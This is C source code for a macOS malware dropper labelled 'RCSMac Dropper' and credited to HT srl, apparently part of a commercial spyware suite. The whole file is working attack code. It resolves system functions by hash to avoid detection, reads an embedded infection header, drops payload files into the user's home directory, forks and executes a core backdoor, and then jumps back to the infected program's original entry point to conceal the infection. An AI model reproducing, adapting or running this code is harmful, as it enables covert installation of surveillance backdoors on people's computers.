/* * RCSMac Dropper - Dropper Component * - API resolution * - get dyld_image_count/dyld_get_image_name/dyld_get_image_header from * dyld in memory * - Look for LC_SYMTAB and get all the symbols from there * - cycle through all the loaded images in memory looking for libSystem * - once found, get all the other symbols (c standard library) * - Same method as dyld -> LC_SYMTAB * - Get all the resources info, drop the files and execute the RESOURCE_CORE * - Jump to the original entry point * * - At the start of our dropper routine we need to save at least esp state, * subtract our stack size in order to restore it to the original value before * jumping to the original entry point. * This is because after we have executed our dropped file we need to jump * back to the original entryPoint which is, of course, another crt Start * routine which expects a fresh register state (e.g. values that you get at * the real first execution). If we don't restore esp properly we might loose * our env of course, or even worst, we might generate a crash. * * Created by Alfredo 'revenge' Pesoli on 24/07/2009 * Copyright (C) HT srl 2009. All rights reserved * */ #include #include #include "RCSMacDropper.h" #include "RCSMacCommon.h" #define DYLD_IMAGE_BASE 0x8FE00000 #define O_RDWR 0x0002 #define O_CREAT 0x0200 #define O_TRUNC 0x0400 #define RTLD_DEFAULT ((void *) - 2) #define PROT_READ 0x01 /* [MC2] pages can be read */ #define PROT_WRITE 0x02 /* [MC2] pages can be written */ #define MAP_SHARED 0x0001 /* [MF|SHM] share changes */ void dropperStart () { } void doExit () { // exit (0) __asm__ __volatile__ ( "xorl %eax, %eax\n" "push %eax\n" "inc %eax\n" "push %eax\n" "int $0x80\n" ); } static unsigned long sdbm (unsigned char *str) { unsigned long hash = 0; int c; while ((c = *str++)) hash = c + (hash << 6) + (hash << 16) - hash; return hash; } unsigned int findSymbol (void *imageBase, unsigned int symbolHash) { struct mach_header *mh_header = NULL; struct load_command *l_command = NULL; struct nlist *sym_nlist = NULL; struct symtab_command *sym_command = NULL; struct segment_command *seg_command = NULL; char *symbolName = NULL; int offset, i, found, stringOffset; unsigned int linkeditHash = 0xf51f49c4; // "__LINKEDIT" sdbm hashed unsigned int hash; offset = found = 0; mh_header = imageBase; offset += sizeof (struct mach_header); for (i = 0; i < mh_header->ncmds; i++) { l_command = imageBase + offset; if (l_command->cmd == LC_SEGMENT) { if (found) { offset += l_command->cmdsize; continue; } seg_command = imageBase + offset; if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash) found = 1; } else if (l_command->cmd == LC_SYMTAB) { sym_command = imageBase + offset; if (found) break; } offset += l_command->cmdsize; } offset = sym_command->symoff - seg_command->fileoff + seg_command->vmaddr; stringOffset = sym_command->stroff - seg_command->fileoff + seg_command->vmaddr; for (i = 0; i < sym_command->nsyms; i++) { sym_nlist = (struct nlist *)offset; offset += sizeof (struct nlist); symbolName = (char *)(sym_nlist->n_un.n_strx + stringOffset); hash = sdbm ((unsigned char *)symbolName); #ifdef LOADER_DEBUG_VERBOSE printf ("[ii] SYMBOL: %s\n", symbolName); #endif if (hash == symbolHash) { #ifdef LOADER_DEBUG printf ("[ii] Symbol Found\n"); printf ("[ii] SYMBOL: %s\n", symbolName); printf ("[ii] address: %x\n", sym_nlist->n_value); #endif return sym_nlist->n_value; } } return -1; } void labelTest () { } void secondStageDropper () { unsigned long dlsymAddress; int fd; unsigned char crtStart[] = "\x6a\x00\x89\xe5\x83\xe4\xf0\x83\xec" "\x10\x8b\x5d\x04\x89\x5c\x24\x00\x8d" "\x4d\x08\x89\x4c\x24\x04\x83\xc3\x01" "\xc1\xe3\x02\x01\xcb\x89\x5c\x24\x08" "\x8b\x03\x83\xc3\x04\x85\xc0\x75\xf7" "\x89\x5c\x24\x0c\xe8\x90\x90\x90"; const char *imageName = NULL; void *baseAddress = NULL; int imageCount, z = 0; __asm__ __volatile__ ( "movl 4(%%ebp), %%eax\n" "subl $0x76, %%eax\n" "movl %%eax, %0\n" : "=m"(baseAddress) : ); unsigned int eax; unsigned int ecx; unsigned int edx; unsigned int edi; unsigned int esi; unsigned int ebp; unsigned int esp; // // Save register state in order to avoid a crash jumping in the real crt start // __asm__ __volatile__ ( "movl %%eax, %0\n" "movl %%ecx, %1\n" "movl %%edx, %2\n" "movl %%edi, %3\n" : "=m"(eax), "=m"(ecx), "=m"(edx), "=m"(edi) : ); __asm__ __volatile__ ( "movl %%esi, %0\n" "movl %%ebp, %1\n" "movl %%esp, %2\n" : "=m"(esi), "=m"(ebp), "=m"(esp) : ); esp += 0x1c4 + 0x28; // restoring esp #ifndef LOADER_DEBUG int i, pid = 0; char *userHome = NULL; char *destinationDir = NULL; char *filePointer = NULL; char *backdoorPath = NULL; unsigned int offset = (unsigned int)(baseAddress) + sizeof (infectionHeader); infectionHeader *infection = (infectionHeader *)baseAddress; stringTable *stringList = (stringTable *)offset; resourceHeader *resource = NULL; char *strings[16]; #endif // // lib/function name hashes // unsigned int libSystemHash = 0x7e38c256; // /usr/lib/libSystem.B.dylib unsigned int dlsymHash = 0x9cc75880; // _dlsym sdbm hash unsigned int dyld_image_countHash = 0x9100a119; // __dyld_image_count unsigned int dyld_get_image_nameHash = 0x1327d26a; // __dyld_get_image_name unsigned int dyld_get_image_headerHash = 0xe8cdb2cc; // __dyld_get_image_header unsigned int openHash = 0x98b7a5e9; // _open unsigned int lseekHash = 0xfae127c5; // _lseek unsigned int closeHash = 0x56dcb9f9; // _close unsigned int pwriteHash = 0xac6aa4ce; // _pwrite unsigned int statHash = 0x54c725f3; // _stat unsigned int mmapHash = 0x3a2bd4ee; // _mmap unsigned int memcpyHash = 0xb7ac6156; // _memcpy unsigned int sprintfHash = 0xf771588d; // _sprintf unsigned int printfHash = 0xb885c098; // _printf unsigned int getenvHash = 0x794bed96; // _getenv unsigned int mkdirHash = 0xca1cf250; // _mkdir unsigned int execveHash = 0x9ca3dfdf; // _execve unsigned int execlHash = 0x80aa1fc; // _execl unsigned int forkHash = 0xf58942e1; // _fork unsigned int strncpyHash = 0x335645d0; // _strncpy unsigned int mallocHash = 0x7de19fc7; // _malloc unsigned int freeHash = 0xf6f66e2b; // _free unsigned int sleepHash = 0x90a80b98; // _sleep // // dyld function pointer prototypes // uint32_t (*_idyld_image_count) (void); const char *(*_idyld_get_image_name) (uint32_t); const struct mach_header *(*_idyld_get_image_header) (uint32_t); // // libSystem function pointer prototypes // int (*iopen) (); long (*ilseek) (int, off_t, int); int (*iclose) (int); int (*ipwrite) (int, const void *, int, off_t); int *(*istat) (const char *, struct stat *); void *(*immap) (void *, unsigned long, int, int, int, off_t); void *(*imemcpy) (void *, const void *, int); int (*isprintf) (char *, const char *, ...); int (*iprintf) (const char *, ...); char *(*igetenv) (const char *); int (*imkdir) (const char *, unsigned int); int (*iexecve) (const char *, char *, char *); int (*iexecl) (const char *, const char *, ...); int (*ifork) (void); char *(*istrncpy) (char *, const char *, size_t); void *(*imalloc) (int); void (*ifree) (void *); unsigned int (*isleep) (unsigned int); // // Obtain _dlsym address from dyld mapped image // If not found, jump directly to the original EP // dlsymAddress = findSymbol ((void *)DYLD_IMAGE_BASE, dlsymHash); _idyld_image_count = (void *)(findSymbol ((void *)DYLD_IMAGE_BASE, dyld_image_countHash)); if ((int)_idyld_image_count != -1) { imageCount = _idyld_image_count (); #ifdef LOADER_DEBUG printf ("[ii] imageCount: %d\n", imageCount); #endif _idyld_get_image_name = (void *)(findSymbol ((void *)DYLD_IMAGE_BASE, dyld_get_image_nameHash)); if ((int)_idyld_get_image_name != -1) { for (z = 0; z < imageCount; z++) { imageName = _idyld_get_image_name (z); #ifdef LOADER_DEBUG printf ("[ii] image: %s\n", imageName); #endif if (sdbm ((unsigned char *)imageName) == libSystemHash) { _idyld_get_image_header = (void *)(findSymbol ((void *)DYLD_IMAGE_BASE, dyld_get_image_headerHash)); if ((int)_idyld_get_image_header != -1) { const struct mach_header *m_header = NULL; m_header = _idyld_get_image_header (z); iopen = (void *)(findSymbol ((void *)m_header, openHash)); ilseek = (void *)(findSymbol ((void *)m_header, lseekHash)); iclose = (void *)(findSymbol ((void *)m_header, closeHash)); ipwrite = (void *)(findSymbol ((void *)m_header, pwriteHash)); istat = (void *)(findSymbol ((void *)m_header, statHash)); immap = (void *)(findSymbol ((void *)m_header, mmapHash)); imemcpy = (void *)(findSymbol ((void *)m_header, memcpyHash)); isprintf = (void *)(findSymbol ((void *)m_header, sprintfHash)); iprintf = (void *)(findSymbol ((void *)m_header, printfHash)); igetenv = (void *)(findSymbol ((void *)m_header, getenvHash)); imkdir = (void *)(findSymbol ((void *)m_header, mkdirHash)); iexecve = (void *)(findSymbol ((void *)m_header, execveHash)); iexecl = (void *)(findSymbol ((void *)m_header, execlHash)); ifork = (void *)(findSymbol ((void *)m_header, forkHash)); istrncpy = (void *)(findSymbol ((void *)m_header, strncpyHash)); imalloc = (void *)(findSymbol ((void *)m_header, mallocHash)); ifree = (void *)(findSymbol ((void *)m_header, freeHash)); isleep = (void *)(findSymbol ((void *)m_header, sleepHash)); } break; } } #ifndef LOADER_DEBUG for (i = 0; i < infection->numberOfStrings; i++) { strings[i] = stringList->value; offset += sizeof (stringTable); stringList = (stringTable *)offset; } offset = (unsigned int)baseAddress + infection->dropperSize + sizeof (infectionHeader) + sizeof (stringTable) * infection->numberOfStrings + sizeof (crtStart); void *envVariableName = (char *)strings[0]; if (igetenv != 0) userHome = igetenv (envVariableName); else doExit (); backdoorPath = imalloc (256); // // Cycle through and drop all the resources // for (i = 0; i < infection->numberOfResources; i++) { char *destinationPath = imalloc (256); destinationDir = imalloc (128); resource = (resourceHeader *)offset; isprintf (destinationDir, strings[1], userHome, resource->path); imkdir (destinationDir, 0755); isprintf (destinationPath, strings[1], destinationDir, resource->name); if (resource->type == RESOURCE_CORE) { istrncpy (backdoorPath, destinationPath, 256); } if ((fd = iopen (destinationPath, O_RDWR | O_CREAT | O_TRUNC, 0755)) >= 0) { if ((int)(filePointer = immap (0, resource->size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) != -1) { if (ipwrite (fd, strings[3], 1, resource->size - 1) == -1) { iclose (fd); doExit (); } offset += sizeof (resourceHeader); imemcpy (filePointer, (void *)offset, resource->size); } iclose (fd); } offset += resource->size; ifree (destinationDir); ifree (destinationPath); } // // Execute the core backdoor file // if ((pid = ifork()) == 0) { iexecl (backdoorPath, strings[3], NULL, NULL, NULL); } else if (pid > 0) { // jump to the original entry point //doExit (); } else if (pid < 0) { //__asm__ __volatile__ ("int $0x3\n"); //doExit (); } ifree (backdoorPath); // // Restore register state and jump to the original entrypoint // __asm__ __volatile__ ( "movl %0, %%eax\n" "movl $0x1000, %%ebx\n" "movl $0x5, %%ecx\n" : :"m"(infection->originalEP) ); __asm__ __volatile__ ( "movl %0, %%esp\n" "jmp *%%eax\n" : :"m"(esp) ); #endif } } } #ifdef LOADER_DEBUG int main() { secondStageDropper(); return 0; } #endif void dropperEnd () { } .